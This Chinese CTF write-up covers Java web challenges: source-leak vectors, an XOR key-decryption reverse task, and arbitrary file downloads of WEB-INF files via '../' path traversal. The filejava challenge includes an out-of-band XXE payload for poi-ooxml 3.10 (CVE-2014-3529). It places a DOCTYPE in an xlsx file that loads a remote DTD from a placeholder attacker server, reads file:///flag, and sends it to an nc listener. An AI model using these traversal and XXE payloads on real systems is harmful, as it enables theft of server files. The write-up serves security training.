CTF夺旗-JAVA考点反编译&XXE&反序列化
Java常考点及出题思路
- .ng源码泄露
- git源码泄露
- .Ds_store文件泄漏
- 网站备份压缩文件
- SVN导致文件泄露
- WEB-INF/web.xml泄露
- CVS泄漏
Java简单逆向解密-Reverse-buuoj-逆向源码
下载附件,将源码用idea打开,分析加密算法,得知加密算法时是将原始key先加64再异或32得到加密后的key,如下图所示
自己编写一个解密算法,将加密后的key先异或32再减64,得到原始key
RoarCTF-2019-easy_java-配置到源码
WEB-INF主要包含以下文件或目录
- /WEB-INF/web.xml:web应用程序配置文件,描述了servlet和其他的应用组件配置及命名规则。
- /WEB-INF/classes/:包含了站点所有用的class文件,包括servlet class和非servlet class,他们不能包含在.jar文件中
- /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
- /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
- /WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接查看或下载class文件,再通过反编译class文件,得到网站源码
点击help,显示如下,url为
/Download?filename=help.docx
,猜测有任意文件下载漏洞
改为post请求方法提交,成功下载(这脑洞有点大,此后下载均用post)
根据web.xml内容,找到与Flag相关class,尝试下载,下载成功
POST /Download?filename=/WEB-INF/classes/com/wm/ctf/FlagController.class
反编译class文件,得到网站源码,找到base64编码后的flag
网鼎杯2020-青龙组-filejava-ctfhub-配置到源码
- https://xz.aliyun.com/t/7272 一篇文章读懂Java代码审计之XXE
- https://www.jianshu.com/p/73cd11d83c30 Apache POI XML外部实体(XML External Entity,XXE)攻击详解
- https://blog.spoock.com/2018/10/23/java-xxe/ JAVA常见的XXE漏洞写法和防御
- https://www.cnblogs.com/tr1ple/p/12522623.html Java XXE漏洞典型场景分析
- https://www.ctfhub.com/#/challenge
JavaWeb程序,编译class格式,配置文件获取文件路径信息,IDEA打开查看
../../../../WEB-INF/web.xml
../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class
// 代码审计Javaweb代码,发现flag位置,文件下载获取?过滤,利用漏洞XXE安全
随便上传一个文件,发现返回一个文件下载链接
点击文件下载,看到请求包格式,猜测有任意文件下载漏洞
构造filename值,尝试下载
/WEB-INF/web.xml
文件,下载成功
根据
/WEB-INF/web.xml
文件内容,找到class文件,全部下载
filename=../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
filename=../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
filename=../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class
idea反编译class文件,得到网站源码,分析源码,发现文件下载时过滤flag关键字,因此不能在此处直接下载flag文件
继续分析源码,找到poi-ooxml-3.10,该版本存在XXE漏洞(CVE-2014-3529)
本地新建excel-aaa.xlsx文件,修改后缀名.zip,打开压缩包,其中有[Content-Types].xml文件
修改
[Content-Types].xml
,第二行添加如下内容,保存
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://远程服务器IP:3333/xxx.dtd">
%remote;%int;%send;
]>
将修改后的压缩包重新修改后缀为.xlsx文件
进入远程服务器WEB根目录,创建文件xxx.dtd,添加内容
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM '远程服务器IP:3333/%file;'>">
启动监控 :
nc -lvvp 3333
,一切准备就绪,上传excel-aaa.xlsx文件,查看nc监听结果,得到flag
0 条评论